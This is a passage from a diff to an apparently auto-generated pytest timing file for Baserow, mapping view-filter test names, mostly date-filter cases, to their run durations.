+ "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_filter_type_with_timezone": 0.1579690409998875, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-exact_date-2024-05-24-expected_results20]": 0.1996500010136515, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_month--expected_results10]": 0.20543962498777546, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_week--expected_results9]": 0.21575420803856105, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_year--expected_results11]": 0.19838833404355682, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_days_ago-7-expected_results12]": 0.20369166697491892, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_days_from_now-7-expected_results16]": 0.19834883301518857, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_months_ago-1-expected_results14]": 0.20224337402032688, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_months_from_now-1-expected_results18]": 0.20655579198501073, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_weeks_ago-1-expected_results13]": 0.1716884579800535, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_weeks_from_now-1-expected_results17]": 0.1927602080104407, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_years_ago-1-expected_results15]": 0.1964581240026746, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_years_from_now-1-expected_results19]": 0.20827208398259245, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_month_ago--expected_results4]": 0.1699599589628633, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_week_ago--expected_results3]": 0.20696670896722935, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_year_ago--expected_results5]": 0.20398220798233524, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_month--expected_results7]": 0.2020676670363173, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_week--expected_results6]": 0.2011028749984689, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_year--expected_results8]": 0.19977037500939332, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-today--expected_results1]": 0.21319158299593255, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-tomorrow--expected_results2]": 0.20255562500096858, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-yesterday--expected_results0]": 0.20792737405281514, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-exact_date-2024-05-24-expected_results104]": 0.20145091801532544, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_month--expected_results94]": 0.2078502929653041, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_week--expected_results93]": 0.18986820901045576, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_year--expected_results95]": 0.2054501660168171, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_days_ago-7-expected_results96]": 0.19749995795427822, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_days_from_now-7-expected_results100]": 0.20324425003491342, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_months_ago-1-expected_results98]": 0.21265483301249333, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_months_from_now-1-expected_results102]": 0.20884649897925556, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_weeks_ago-1-expected_results97]": 0.20393345897900872, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_weeks_from_now-1-expected_results101]": 0.20033791702007875, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_years_ago-1-expected_results99]": 0.21579416701570153, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_years_from_now-1-expected_results103]": 0.20457999996142462, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_month_ago--expected_results88]": 0.19610208299127407, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_week_ago--expected_results87]": 0.2066959590301849, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_year_ago--expected_results89]": 0.20499349999590777, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_month--expected_results91]": 0.18650508497375995, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_week--expected_results90]": 0.19436266596312635, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_year--expected_results92]": 0.20897541704471223, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-today--expected_results85]": 0.4518293749715667, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-tomorrow--expected_results86]": 0.2034800839901436, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-yesterday--expected_results84]": 0.20173491703462787, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-exact_date-2024-05-24-expected_results62]": 0.20655887597240508, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_month--expected_results52]": 0.211207623971859, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_week--expected_results51]": 0.20712008400005288, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_year--expected_results53]": 0.20424399999319576, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_days_ago-7-expected_results54]": 0.20323337501031347, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_days_from_now-7-expected_results58]": 0.21031854097964242, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_months_ago-1-expected_results56]": 0.2078112909803167, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_months_from_now-1-expected_results60]": 0.2001804170140531, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_weeks_ago-1-expected_results55]": 0.20389487597276457, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_weeks_from_now-1-expected_results59]": 0.2030758339969907, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_years_ago-1-expected_results57]": 0.20690225099679083, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_years_from_now-1-expected_results61]": 0.19417374997283332, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_month_ago--expected_results46]": 0.20567866700002924, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_week_ago--expected_results45]": 0.21050312498118728, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_year_ago--expected_results47]": 0.20594458302366547, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_month--expected_results49]": 0.2154884169867728, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_week--expected_results48]": 0.20041112502804026, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_year--expected_results50]": 0.2161907909612637, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-today--expected_results43]": 0.20124566697631963, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-tomorrow--expected_results44]": 0.20401120799942873, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-yesterday--expected_results42]": 0.2091095829673577, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-exact_date-2024-05-24-expected_results41]": 0.44815154201933183, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_month--expected_results31]": 0.2042404169915244, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_week--expected_results30]": 0.20742808398790658, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_year--expected_results32]": 0.2084472499846015, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_days_ago-7-expected_results33]": 0.2058879579999484, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_days_from_now-7-expected_results37]": 0.20487233303720132, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_months_ago-1-expected_results35]": 0.20227983299992047, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_months_from_now-1-expected_results39]": 0.19820820799213834, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_weeks_ago-1-expected_results34]": 0.20388395700138062, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_weeks_from_now-1-expected_results38]": 0.203200417017797, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_years_ago-1-expected_results36]": 0.1992490829725284, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_years_from_now-1-expected_results40]": 0.20111587599967606, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_month_ago--expected_results25]": 0.20928862399887294, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_week_ago--expected_results24]": 0.22908625000854954, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_year_ago--expected_results26]": 0.207771292043617, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_month--expected_results28]": 0.20290658302837983, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_week--expected_results27]": 0.20169912499841303, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_year--expected_results29]": 0.2022780829865951, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-today--expected_results22]": 0.20236275001661852, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-tomorrow--expected_results23]": 0.2091763750067912, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-yesterday--expected_results21]": 0.20931433301302604, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-exact_date-2024-05-24-expected_results125]": 0.1977966669946909, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_month--expected_results115]": 0.20598187498399056, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_week--expected_results114]": 0.20642620901344344, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_year--expected_results116]": 0.2018782499653753, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_days_ago-7-expected_results117]": 0.2067360840155743, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_days_from_now-7-expected_results121]": 0.20404825001605786, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_months_ago-1-expected_results119]": 0.21214879202307202, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_months_from_now-1-expected_results123]": 0.20048112500808202, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_weeks_ago-1-expected_results118]": 0.19369325099978596, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_weeks_from_now-1-expected_results122]": 0.20768820701050572, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_years_ago-1-expected_results120]": 0.19929491798393428, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_years_from_now-1-expected_results124]": 0.2058759580249898, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_month_ago--expected_results109]": 0.19370329097728245, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_week_ago--expected_results108]": 0.19990008400054649, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_year_ago--expected_results110]": 0.20141924999188632, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_month--expected_results112]": 0.20500704299774952, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_week--expected_results111]": 0.20506354197277687, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_year--expected_results113]": 0.20356304096640088, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-today--expected_results106]": 0.20746049901936203, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-tomorrow--expected_results107]": 0.19814245897578076, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-yesterday--expected_results105]": 0.20769162601209246, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-exact_date-2024-05-24-expected_results83]": 0.20005945902084932, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_month--expected_results73]": 0.20405558502534404, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_week--expected_results72]": 0.20156137298909016, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_year--expected_results74]": 0.20091824998962693, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_days_ago-7-expected_results75]": 0.2017982499965001, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_days_from_now-7-expected_results79]": 0.20262687501963228, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_months_ago-1-expected_results77]": 0.2089674579910934, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_months_from_now-1-expected_results81]": 0.20887200004654005, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_weeks_ago-1-expected_results76]": 0.20358587501686998, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_weeks_from_now-1-expected_results80]": 0.1965738339931704, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_years_ago-1-expected_results78]": 0.2042333330027759, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_years_from_now-1-expected_results82]": 0.20453066698973998, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_month_ago--expected_results67]": 0.21325612597865984, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_week_ago--expected_results66]": 0.21375570798409171, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_year_ago--expected_results68]": 0.207530791987665, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_month--expected_results70]": 0.19916716602165252, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_week--expected_results69]": 0.203890375996707, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_year--expected_results71]": 0.19896866698400117, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-today--expected_results64]": 0.2068344590079505, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-tomorrow--expected_results65]": 0.20552679200773127, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-yesterday--expected_results63]": 0.20714050004607998, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-exact_date-2024-05-25-expected_results134]": 0.20794074999957957, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-exact_date-2024-05-25-expected_results145]": 0.20530308299930766, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_month--expected_results128]": 0.2148943739994138, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_month--expected_results135]": 0.20586029198602773, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_week--expected_results127]": 0.1994267909985865, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_week--expected_results134]": 0.21296558299218304, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_year--expected_results129]": 0.20879379200050607, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-next_year--expected_results136]": 0.21420208402560093, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_days_ago-7-expected_results141]": 0.21776941698044538, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_days_from_now-7-expected_results130]": 0.20501516700005595, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_days_from_now-7-expected_results137]": 0.20604079100303352, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_months_ago-1-expected_results143]": 0.20629137600190006, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_months_from_now-1-expected_results132]": 0.20141133299966896, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_months_from_now-1-expected_results139]": 0.22019970798282884, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_weeks_ago-1-expected_results142]": 0.18497791700065136, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_weeks_from_now-1-expected_results131]": 0.2032971250000628, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_weeks_from_now-1-expected_results138]": 0.20522483400418423, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_years_ago-1-expected_results144]": 0.20497029201942496, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_years_from_now-1-expected_results133]": 0.20114720800029318, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-nr_years_from_now-1-expected_results140]": 0.21703295700717717, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-one_month_ago--expected_results129]": 0.48694225001963787, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-one_week_ago--expected_results128]": 0.19362908299081028, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-one_year_ago--expected_results130]": 0.20803512501879595, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-this_month--expected_results132]": 0.21239916601916775, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-this_week--expected_results131]": 0.22175079295993783, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-this_year--expected_results133]": 0.21304266699007712, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-tomorrow--expected_results126]": 0.20252870900003472, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_day_of_month_filter_type": 0.21173812500001077, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_day_week_month_year_filter_type": 0.20063479200052825, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_months_ago_filter_type": 0.24844495900015318, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_years_ago_filter_type": 0.23075804299969604, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_not_equal_filter_type": 0.17141233300026215, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-tomorrow--expected_results127]": 0.20890533301280811, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_within-yesterday--expected_results126]": 0.18418179103173316, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_day_of_month_filter_type": 0.22629237500950694, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_day_week_month_year_filter_type": 0.21339212500606664, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_months_ago_filter_type": 0.24106141601805575, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equals_years_ago_filter_type": 0.23362799995811656, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_not_equal_filter_type": 0.16012508401763625, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_parser_mixin": 0.0007104709984560031, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_days_view_filter": 0.22949041700030648, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_months_view_filter": 0.22128270899975178, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_weeks_view_filter": 0.22113079200062202, - "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_months_ago_filter_type": 0.23994354200021917, - "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_months_ago_filter_type_timezone": 0.19318483300048683, - "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_years_ago_filter_type": 0.2341867919994911, - "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_years_ago_filter_type_timezone": 0.1900331249989904, - "tests/baserow/contrib/database/view/test_view_filters.py::test_doesnt_contain_word_filter_type": 0.23353225000028033, - "tests/baserow/contrib/database/view/test_view_filters.py::test_duplicate_table_single_select_is_one_of": 0.18462300100054563, - "tests/baserow/contrib/database/view/test_view_filters.py::test_duplicate_table_with_two_nested_filter_groups": 0.18818041600115976, - "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_filter_type": 0.5092822089991387, - "tests/baserow/contrib/database/view/test_view_filters.py::test_ensure_all_multi_step_filter_type_and_operators_are_tested": 0.010513374000765907, - "tests/baserow/contrib/database/view/test_view_filters.py::test_equal_filter_type": 0.1969334589994105, - "tests/baserow/contrib/database/view/test_view_filters.py::test_filename_contains_filter_type": 0.16237787599948206, - "tests/baserow/contrib/database/view/test_view_filters.py::test_filename_contains_filter_type_multiple_filters": 0.15652362500077288, - "tests/baserow/contrib/database/view/test_view_filters.py::test_files_lower_than": 0.16858408300049632, - "tests/baserow/contrib/database/view/test_view_filters.py::test_has_file_type": 0.16338891700070235, - "tests/baserow/contrib/database/view/test_view_filters.py::test_higher_than_filter_type": 0.1775319580001451, - "tests/baserow/contrib/database/view/test_view_filters.py::test_higher_than_or_equal_filter_type": 0.1700253340004565, - "tests/baserow/contrib/database/view/test_view_filters.py::test_is_even_and_whole_number_filter_type": 0.19198820800011163, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equal_filter_type": 0.2377895419995184, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equals_days_ago_filter_type": 0.18829637599992566, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equals_today_filter_type": 0.3037409590015159, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_datetime_equals_days_ago_filter_type": 0.2989610830009042, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_days_view_filter": 0.23998908401699737, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_months_view_filter": 0.22760112505056895, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_within_weeks_view_filter": 0.23440837397356518, + "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_months_ago_filter_type": 0.23929774900898337, + "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_months_ago_filter_type_timezone": 0.18136395898181945, + "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_years_ago_filter_type": 0.25362045897054486, + "tests/baserow/contrib/database/view/test_view_filters.py::test_datetime_equals_years_ago_filter_type_timezone": 0.1907694999827072, + "tests/baserow/contrib/database/view/test_view_filters.py::test_doesnt_contain_word_filter_type": 0.3759280420199502, + "tests/baserow/contrib/database/view/test_view_filters.py::test_duplicate_table_single_select_is_one_of": 0.16586129099596292, + "tests/baserow/contrib/database/view/test_view_filters.py::test_duplicate_table_with_two_nested_filter_groups": 0.1883106670284178, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_filter_type": 0.6879607919836417, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[date_field_factory]": 0.2245177919685375, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[datetime_field_factory]": 0.23623079204116948, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[duration_field_factory]": 0.22625921000144444, + 